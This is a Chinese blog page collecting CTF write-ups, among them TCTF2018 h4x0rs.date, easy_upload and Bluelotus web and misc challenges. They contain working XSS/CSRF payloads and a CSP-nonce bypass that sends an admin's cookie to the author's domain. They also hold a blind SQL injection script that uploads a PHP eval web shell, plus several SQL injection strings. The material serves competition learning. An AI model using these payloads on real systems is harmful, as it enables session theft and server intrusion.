Tagged: CTF Toggle Comment Threads | 键盘快捷键

  • jinzihao pm10:01 on 2018年5月28日 链接地址 | 回复
    Tags: CTF   

    [TCTF2018 Finals] h4x0rs.date writeup 

    (本题目前仍然在线,在本文写作时(2018/05/28 19:44),所有功能正常:https://h4x0rs.date/

    1. 前期侦察

    (如果了解题目背景可直接跳过

    首先,这是一道Web题。题目说明中提到CSP (Content Security Policy),这属于前端安全的范畴,那么这应该是一道XSS题。

    登录之后用户可以修改个人简介:

    正常思路:这里有个XSS?

    测试结果:的确有个XSS,写一个<b>test</b>试试…似乎没有任何过滤?!

    进一步测试结果:我的<script>怎么执行不了?

    回头看一眼题目说明:CSP把我的<script>拦下来了…

    题目说明中有一个用户的个人页面地址,点进去看看:

    点一下“LIKE♥”试试?

    回到自己的个人页面,发现多了一个到i_am_not_admin用户的链接,嗯,这功能很正常。

    所以网站的主要功能就是:(1) 写自己的个人简介;(2) 看别人的个人简介;(3) 互相like一下

    前端安全除了XSS,最大的问题就是CSRF了,功能(1)和(3)会不会有CSRF呢?试了一下还真有!

    功能(1)需要POST,但我们已经有支持<iframe>的XSS了,直接嵌入一个<form>进来,我们可以用JavaScript填一下表并把它提交。

    虽然CSP限制了<script>,但CSRF的存在让我们可以在不同源的页面上做这件事,在不同源的页面上写一段<script>,不受限制。

    功能(3)只需要GET,门槛更低,一个<img src="https://h4x0rs.date/like.php?id=xxx"></img>就可以触发了。

    还有个report功能,应该是把网址提交给bot,bot会去访问一下:

    试了一下,和预期一致,不过只接受站内链接,你如果让bot去访问一下你的个人博客,它是拒绝的。

    这是个XSS题…那再看一下网站的cookie吧:有一个名为flag的cookie,写着”you_are_not_admin_no_flag_for_you”。那目标就很明确了,拿到管理员的cookie应该就能拿到flag了。

    其他一些测试过但没有用的地方:

    • 没有明显的SQL注入
    • 对用户名做了很强的XSS过滤,没有利用价值
    • index.php的msg参数可以回显,但做了很强的HTML特殊字符转义,没有利用价值
    • login.php的redirect参数可以触发302跳转,但我们已经有XSS,用<meta>标签就可以触发302跳转

    (为什么划掉最后一点呢?看似没用,后面会用到…)

    到这里侦察完毕:有一个XSS,除了<script>标签都支持;有一个CSRF,网站主要功能都存在CSRF;目标:拿到管理员的cookie。

    2. 解题思路

    2.1 获取管理员ID

    管理员账户看不见摸不着,如果试图直接拿cookie,在<script>标签被CSP严密防守的情况下相当困难。我们先想办法拿到管理员的id,看看他的个人简介,可能有下一步的思路。

    我们在自己的个人主页插入一个<iframe>,准备通过report功能,让管理员访问我们的个人主页,执行<iframe>中的XSS代码:
    <iframe src="https://lab.jinzihao.me/h4x0rs/getid.html"></iframe>
    我们把这样一段代码写到https://lab.jinzihao.me/h4x0rs/getid.html页面上:

    (当然,可以放在自己能控制的任何一个网址。由于目标网站h4x0rs.date已经强制启用https,为了避免麻烦,我们的XSS页面最好也使用https,避免被浏览器的安全策略拦截。)

    <html>
      <body>
        <form action="https://h4x0rs.date/profile.php" method="POST">
          <input type="hidden" name="intro" value="</textarea><meta name=&quot;referrer&quot; content=&quot;always&quot;><img src=&quot;https://lab.jinzihao.me/h4x0rs/receiver.php&quot;><meta http-equiv=&quot;refresh&quot; content=&quot;0; url='/login.php?redirect=profile.php'&quot;>" />
          <input type="submit" value="Submit request" />
        </form>
        <script>
          document.forms[0].submit();
        </script>
      </body>
    </html>

    解释一下这段代码:

    一个<form>,下面一个<script>,里面对<form>submit(),标准的POST型CSRF利用。

    前期侦察时,容易注意到个人简介在提交之后,会在profile.php的<textarea>中回显,所以先用一个</textarea>,跳出<textarea>

    接下来一个<meta name="referrer" content="always">,使得嵌入的<img>等元素,在向src发出请求时,无论是否同源,都会带上referer

    接下来一个<img>标签,src指向我们控制的一个外部网页

    最后一个<meta>302跳转,跳转到/login.php?redirect=profile.php,而这个网址会再次触发302跳转,跳转到哪里?不是简单的/profile.php,而是/profile.php?id=xxx。也就是说,这是一个在不知道一个用户的id的情况下,跳转到他的个人页面的传送门。

    到这里,我们使用report功能,让管理员在一个<iframe>中加载我们的XSS页面,用CSRF修改他的个人简介,POST之后会跳转到个人简介,用</textarea>跳到文本框外,一个<meta name="referrer"强制其加载资源时携带referer,用一个<img>加载外部资源,最后再用一个<meta>跳转,让他携带上包含id的referer

    我们提交report,管理员不断刷新自己的个人页面,通过referer字段,向我们的服务器送出一波id:

    题目已经给出说明,管理员只会在我们提供给他的网址上停留15秒,之后就会重新登录,重新获得一个id。我们动作要快,在这15秒内通过https://h4x0rs.date/like.php?id=xxx的接口,like一下管理员,我们就获得了通向管理员个人页面的永久性传送门。

    2.2 获取管理员cookie

    拿到管理员id之后,拿cookie是否会变得容易呢?

    CSP凭借因用户和页面而异,且每次刷新均会改变的nonce值,阻断了我们XSS代码中<script>的执行;但我们拿到管理员ID后,就可以有效地令CSP失效。

    怎么做到的?下面是一段代码(调用方式和2.1 完全相同,在自己的个人页面使用<iframe>包含该页面,通过report功能让管理员去访问):

    <?php
    $opts = array (
        'http' => array (
            'method' => 'GET',
            'header'=>
                "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n" .
                "Cookie:PHPSESSID=edi0ef5vcfk5ridfh3knu29s82; \r\n".
                "Pragma:no-cache\r\n",
        )
    );
    $context = stream_context_create($opts);
    $result_data=file_get_contents("https://h4x0rs.date/profile.php",false,$context);
    preg_match('/<li><a href="https:\/\/h4x0rs\.date\/profile\.php\?id=([0-9a-f]{64})">admin<\/a>/',$result_data,$ret);
    $admin_id = $ret[1];
    ?>
    <head>
        <script>
            setTimeout(function(){
                var meta = document.getElementsByTagName('meta')[0];
                var nonce = meta.content.substr(18,108);
                document.getElementById("intro").value = document.getElementById("intro").value.replace("_NONCE_", '"'+nonce+'"').replace("_META_",'<meta http-equiv="Cache-Control" content="public">');
                document.forms[0].submit();
            },3000);
        </script>
    </head>
    <script src="https://h4x0rs.date/assets/csp.js?id=<?=$admin_id?>&page=profile.php"></script>
    <form action="https://h4x0rs.date/profile.php" method="post">
        <input id="intro" type="text" name="intro" value="</textarea>_META_<script nonce=_NONCE_>location.href='https://jinzihao.me/?'+document.cookie;</script>">
    </form>

    这是一段PHP和HTML混合代码。首先,前面的PHP代码使用我们自己的PHPSESSID,访问profile.php,用正则表达式提取出admin账户的id(在2.1中,我们已经like了admin账户,所以它会显示在profile.php的”You liked”这一部分)。

    接下来的HTML代码中,我们放了一个延时3秒的函数,先跳过它,看到后面是一个<script>,我们把前面刚刚获取到的管理员id传进去,它就可以在页面上放置一个<meta>标签,里面有管理员在profile.php这个页面的nonce值。

    接下来,延时3秒之后,我们读出这个<meta>标签的内容,提取出nonce值,接下来一个插入nonce值的操作,然后用<meta http-equiv="Cache-Control" content="public">,告诉管理员的浏览器,包括csp.js在内的资源是可以缓存的。这样我们就把管理员在profile.php上的nonce值锁住了,下一次管理员访问profile.php时,由于生成nonce值的csp.js被缓存,nonce值根本不会刷新。

    最后,还是常规套路,一个<form>来利用POST型CSRF,在</textarea>跳出文本框之后,我们光明正大地插入一个<script>——这次我们有正确的nonce值。把document.cookie传出,flag就在管理员的cookie中:

     
    • 陈文 上午11:11 on 2018年6月11日 链接地址 | 回复

      嗯,这次主要把tiny core linux 的下载地址和说明稍微做了下调整,原来的版本太旧了

  • jinzihao pm8:44 on 2018年5月12日 链接地址 | 回复
    Tags: CTF   

    强网杯精英赛 – easy_upload 

    这是一道坑比较多的题…结果:只差最后一个坑没能跳出来…

    记录一下做这道题的过程中踩过的坑、开过的脑洞和学到的东西:

    • 一些fuzz技巧

    如果正常的GET或POST方式是login.php?username=xxx,我们把它换成login.php?username[]=xxx&username[]=yyy,PHP接收到的$_REQUEST['username']就不再是一个字符串"xxx",而是一个数组array("xxx", "yyy")了。这会导致PHP爆出Error或Warning,还可能触发strcmp在字符串与数组比较时的漏洞

    PHP所有对文件或文件夹操作的函数,都可能因为文件名过长而爆出Error或Warning,从而暴露绝对路径。

    • dual表

    dual表是MySQL中虚拟出来的一张空表(table)。

    用途:在没有表名的情况下执行SQL语句,例如SELECT VERSION() FROM dual;

    在CTF中的用途:我们有条件执行SELECT语句,但我们不知道任何一张表的表名,利用dual表仍然可以执行MySQL内置函数。

    • INSERT INTO

    MySQL的INSERT语句常见的写法是:

    INSERT INTO t1 (a, b, c) VALUES (x, y, z);

    但MySQL也支持一次插入多条记录:

    INSERT INTO t1 (a, b, c) VALUES (x1, y1, z1), (x2, y2, z2), (x3, y3, z3);

    以及在VALUES ()内部进行前向引用:

    INSERT INTO t1 (a, b, c) VALUES (x, length(x), to_base64(x));

    以及在VALUES ()内部使用()包裹的SELECT语句:

    INSERT INTO t1 (a, b, c) VALUES (x, y, (SELECT d FROM t2 LIMIT 1));

    但不支持在VALUES ()内部SELECT同一张表内的数据:

    INSERT INTO t1 (a, b, c) VALUES (x, y, (SELECT a FROM t1 LIMIT 1));

    但仍然可以将同一张表内的数据先SELECT,用()包裹,再SELECT AS FROM dual,从而读出同一张表内的数据:

    INSERT INTO t1 (a, b, c) VALUES (x, y, SELECT (SELECT a FROM t1 LIMIT 1) as tmp FROM dual)

    • 危险字符转义 + 字段长度限制 = 攻击点?
    <?php
    $name = 'aaaaaaaaaaaaaaaaaaa\';
    $name = str_replace('\\', '\\\\', $name); // $name -> 'aaaaaaaaaaaaaaaaaaa\\'
    $name = str_replace('"', '\\"', $name); // $name unchanged
    $name = str_replace('\'', '\\\'', $name); // $name unchanged
    $name = substr($name, 0, 20); // $name -> 'aaaaaaaaaaaaaaaaaaa\'
    $content = '';
    mysql_query('INSERT INTO data (name, content) VALUES ("' . $name . '", ' . $content . '")', $conn);
    ?>
    

    这是一个常见的危险字符过滤逻辑,将', ", \做转义,防止它们造成SQL语句逃逸。之后的substr限制长度也是合理的,对应于数据库中一个VARCHAR(20)列。这段代码执行却会导致MySQL报错:$namesubstr截断后重新变成以单个\结束,将后面的”转义掉,从而造成双引号不匹配。

    这样操作$name只会导致MySQL报错,但如果我们还能控制INSERT的下一个字段(此处的$content),$content会出现在""之外,我们就可以在$content中插入MySQL代码了。

    • 手写延时盲注

    在SQLMap无法使用的情况下,我们需要手写脚本来进行延时盲注了,感谢kericwy提供的脚本:

    小技巧1:利用Python的requests模块,为http请求设置超时值(timeout),可以判断我们的盲注代码里面的SLEEP是否执行成功。如果我们的SQL代码执行成功会SLEEP(5),执行失败会SLEEP(0),我们设置timeout=3,就可以用是否抛出Exception来判断是否执行成功了。

    小技巧2:用()包裹SELECT语句,就可以将SELECT语句的查询结果传递给其他函数(例如mid())进行处理,以及作为INSERT INTO VALUES(的参数。这样我们可以在INSERT语句内部执行SELECT

    小技巧3:在不知道表名的情况下,从INFORMATION_SCHEMA数据库中的TABLES表中可以找出所有表的名称。

    小技巧4:MySQL的group_concat()可以将多行的查询结果合并到一行,以,分隔。(但是它不能将多列合并为一列)

    import requests
    
    def inject(n,guess):
        session = requests.Session()
    
        paramsMultipart = [('upfile', ('kericwy.php ', "\x23!/usr/bin/php\r\n@eval(\x24_REQUEST['notashell']);\n", 'application/octet-stream'))]
        payload=",1,(if(((ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))from({n})))<{guess})),sleep(5),null)))\x23".format(n=n,guess=guess)
        headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0","Referer":"http://10.10.5.113/index.php","Connection":"close","X-Forwarded-For":payload,"Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"}
        cookies = {"PHPSESSID":"b06253970bfd8d30f54bb7f365cb6994"}
        try:
            response = session.post("http://10.10.5.113/upload.php", files=paramsMultipart, headers=headers, cookies=cookies,timeout=3)
        except Exception:
            print(guess)
            return guess
        return None
    
    answer=''
    for n in range(1,50):
        for guess in range(32,127):
            result=inject(n,guess)
            if result!=None:
                answer+=chr(result-1)
                print(answer)
                break
    
     
  • jinzihao pm10:42 on 2016年7月10日 链接地址 | 回复
    Tags: CTF,   

    CISCNCTF 随记(1) 

    曼彻斯特编码:二进制的0编码为10,二进制的1编码为01(1和0也可以反过来),如果一个二进制串中只有01和10可以考虑曼彻斯特编码

    二进制串里如果包含char或者int,有可能从前往后看,也可能是每一个单元(char就是1 byte,int就是4 byte)从后向前看,在pwn类型的题中也有类似的问题。

    python的hex函数10->16,int函数any->10,bin函数10->2;字符串逆序在后面加[::-1]。

    Word有隐藏文字的功能,可以在选项里打开显示隐藏文字的功能。也有可能出现白底白字导致看不到的情况,如果不放心就直接把docx当做zip解包,打开Word的源文件看看有没有遗漏。

    TrueCrypt和PGPDesktop都可以加密文件,TrueCrypt用一个字符串或者用一个文件做密码,PGPDesktop用公钥私钥来解密,私钥也可以要求密码。Linux下的GnuPG与之兼容。(有待尝试)

    摩尔斯电码听不清的话拿Audacity的频谱模式看一看。

    别忘了栅格密码,13572468可以写成第一行1357第二行2468,然后一列一列看就是12345678。

    tesseract识别验证码效果不错,也有一个并不难上手的Python接口pytesseract。(进一步提高识别率有待尝试)

    Python用requests模块发送http请求,功能大体相当于curl。

    vim有备份文件和交换文件,如果编辑的文件是index.php,备份文件在index.php~,交换文件在.index.php.swp,如果再次意外退出就生成.index.php.swo,接着是.index.php.swn,.index.php.swm,……。swp没有的话swo还要试一试。

    PHP判断浮点数相等时有精度问题,PHP认为0.99999999999999999999和1是相等的。另外MySQL和PHP在浮点数判等时精度有差别,也可能会有利用的机会。

    shell脚本中如果不让用空格,用$IFS环境变量可以产生空格;如果不知道当前目录,也不允许用`pwd`的话,用$PWD环境变量效果一样。

    SQL注入不止会发生在GET和POST参数上,http header里面也可能有注入,cookie也有可能,只要能作为用户输入的东西都可能有注入。

    Access数据库有DLookup函数,用在UPDATE型注入时可以很方便地起到内联SELECT的效果,解决了Access不能直接在UPDATE的SET部分内联SELECT的问题。

     

     
  • jinzihao am12:09 on 2016年5月18日 链接地址 | 回复
    Tags: CTF, ,   

    [writeup] web {1, 2, 3, 4} – Bluelotus-Exercise 

    web1:

    http://120.76.114.164:21080/web1/
    

    打开网址,在网页源代码中看到下列注释:

    
    

    输入的$user和$pass被单引号包围,可通过在$user中输入

    flag\

    利用MySQL的\转义机制,将后一个单引号转义为字符串的一部分;在$pass中输入

     OR 1=1%23

    (%23为#的URL转义)利用MySQL的#注释机制注释掉后面的部分,包括紧随其后的单引号
    此时SQL语句为:

    SELECT * FROM users WHERE name='flag\' AND pass=' OR 1=1#';
    

    其中只剩两个单引号,恰好配对为一个字符串,后面OR 1=1的存在即可取出表中所有的记录。
    输入?user=flag\&pass= OR 1=1%23后得到flag:CTF{Welc0me_T00_t3e_Web_W0r1d}


    web2:

    http://120.76.114.164:21080/web2/
    

    在网页注释中看到:

    
    

    尽管$str经过了addslashes处理,但addslashes只会在单引号、双引号、反斜线、空字符前添加一个反斜线,故可以在$str中输入一个

    ${echoflag()}

    PHP中双引号内的${}内的代码可被解释运行,输入?str=${echoflag()}得到flag为CTF{D0llAr_I3_Ama2inG}


    web3:

    
    

    (此题提示信息中$secretId = 12315应改为$secretId = 1)
    本题中id参数在PHP代码中被存为float类型,如果这个浮点数类型的id与secretId相等则不会进行else分支中的数据库查询。但浮点数判等就会有精度问题,利用PHP和MySQL浮点数的精度差别,使$id和$secretId在PHP中不等,而在MySQL中相等。于是构造一个id=1.00000000000001,PHP认为1.00000000000001 != 1,从而进入else分支。而MySQL认为1.00000000000001 = 1,从而取出了id为1的记录:id: 1, message: CTF{W3ll_D0wn}


    web4:

    
    

    if($_CONFIG[‘extraSecure’])内的代码对$kw进行了过滤,使得注入代码难以进入最终的SQL语句中。但前面两重foreach循环,提供了一个修改$_CONFIG的机会。对于所有$_GET[‘key’] = ‘value’、$_POST[‘key’] = ‘value’、$_REQUEST[‘key’] = ‘value’、$_COOKIE[‘key’] = ‘value’,PHP都会销毁key变量。于是以GET参数的形式传入一个?_CONFIG=xxx,便可以销毁$_CONFIG,从而使$_CONFIG[‘extraSecure’]为空,绕过了preg_replace的过滤。接下来再在kw中进行联合查询:

    ?kw=' and 0 union select name,pass from user where id=1%23&_CONFIG=0
    

    先用’结束LIKE后面的字符串,用and 0使第一条查询查不出任何记录,否则第一条记录就不一定是user表中admin的密码了。接下来union select便可以取出user表中id为1的记录。查询得到结果:id: admin, message: CTF{G00d_J0b}

     
  • jinzihao pm11:31 on 2016年5月17日 链接地址 | 回复
    Tags: CTF, ,   

    [writeup] misc {1, 2, 3, 4, 5} – Bluelotus-Exercise 

    misc1:

    本题不遵守flag格式规定,[a-z]+
    𨗾𥀾墬𧢛䘇
    

    查字典可知,这五个字读作(dà)(xiàng)(de)(yīng)(wén),于是flag输入大象的英文elephant即可。


    misc2:

    本题不遵守flag格式规定,[A-Z]+
    4eszxc 8uhb =-0okm,.
    

    在键盘上找到这些字母和数字对应的位置,恰好构成了大写字母LIC,flag即为LIC。


    misc3:

    GYZTONBWGY3WENBVGZSTMMZTGA3DIMZRGZSTMNZVMYZTCNZTGVTDMNRTGM3GKMRZG5SA====
    

    此题为一段base32编码的数据,在http://emn178.github.io/online-tools/base32_decode.html解码得到

    6374667b456e633064316e675f31735f66336e297d

    再从左到右将每两位16进制数转换为一个ASCII字符(在线转换工具:http://string-functions.com/hex-string.aspx),得到flag:ctf{Enc0d1ng_1s_f3n)}


    misc4:

    flag.zip
    本题的zip文件看似需要密码才能打开,实际为伪加密,使用unpack.txt(请将扩展名改为.py)解压flag.zip:

    python unpack.py flag.zip

    得到flag.docx,打开显示ctf{Hu33y_Up}即为flag。


    misc5:

    flag.docx
    打开flag.docx文件只看到蓝莲花图片,将扩展名改为.zip,解压,在word\media\下面看到两个png图片,打开image2.png,看到flag:ctf{My_G0g}

     
  • jinzihao pm1:27 on 2015年11月30日 链接地址 | 回复
    Tags: CTF,   

    暴力破解zip密码用ziperello就不错…无需注册码,看起来也没有病毒…至于速度,不敢说是最快的,不过密码为233的一个zip文件确实是秒出了…

     
c
写新的
j
下一篇文章/下一个回复
k
前一篇文章/以前的回复
r
回复
e
编辑
o
显示/隐藏 回复
t
回到顶部
l
go to login
h
show/hide help
shift + esc
取消